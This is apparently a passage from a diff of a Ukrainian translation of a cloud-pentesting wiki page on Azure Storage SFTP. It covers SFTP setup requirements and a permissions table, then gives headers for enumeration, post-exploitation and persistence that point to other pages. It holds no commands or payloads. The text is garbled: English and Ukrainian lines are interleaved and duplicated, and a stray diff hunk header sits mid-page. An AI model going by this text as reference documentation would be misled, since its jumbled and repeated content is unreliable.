- Granular Permissions: Permissions such as Read, Write, Delete, and List can be assigned to local users for up to 100 containers.
- Networking Considerations: SFTP connections are made through port 22. Azure supports network configurations like firewalls, private endpoints, or virtual networks to secure SFTP traffic.
### Setup Requirements
- Hierarchical Namespace: HNS має бути ввімкнено під час створення storage account.
- Supported Encryption: Потрібні криптографічні алгоритми, затверджені Microsoft SDL (наприклад, rsa-sha2-256, ecdsa-sha2-nistp256).
- Hierarchical Namespace: HNS must be enabled when creating the storage account.
- Supported Encryption: Requires Microsoft Security Development Lifecycle (SDL)-approved cryptographic algorithms (e.g., rsa-sha2-256, ecdsa-sha2-nistp256).
- SFTP Configuration:
- Enable SFTP on the storage account.
- Create local user identities with appropriate permissions.
- Configure home directories for users to define their starting location within the container.
- Enable SFTP on the storage account.
- Create local user identities with appropriate permissions.
- Configure home directories for users to define their starting location within the container.
### Permissions
| Permission | Symbol | Description |
| Дозвіл | Символ | Опис |
| ---------------------- | ------ | ------------------------------------ |
| **Read** | `r` | Читати вміст файлу. |
| **Write** | `w` | Завантажувати файли та створювати директорії. |
| **List** | `l` | Перелічувати вміст директорій. |
| **List** | `l` | Переглядати вміст директорій. |
| **Delete** | `d` | Видаляти файли або директорії. |
| **Create** | `c` | Створювати файли або директорії. |
| **Modify Ownership** | `o` | Змінювати власника користувача або групи. |
| **Modify Ownership** | `o` | Змінювати власника (користувача або групу). |
| **Modify Permissions** | `p` | Змінювати ACL на файлах або директоріях. |
## Enumeration
## Перерахування
{{#tabs }}
{{#tab name="az cli" }}
@@ -447,13 +447,13 @@ az-file-shares.md
../az-privilege-escalation/az-storage-privesc.md
{{#endref}}
## Пост-експлуатація
## Постексплуатація
{{#ref}}
../az-post-exploitation/az-blob-storage-post-exploitation.md
{{#endref}}
## Персистентність
## Утримання доступу
{{#ref}}
../az-persistence/az-storage-persistence.md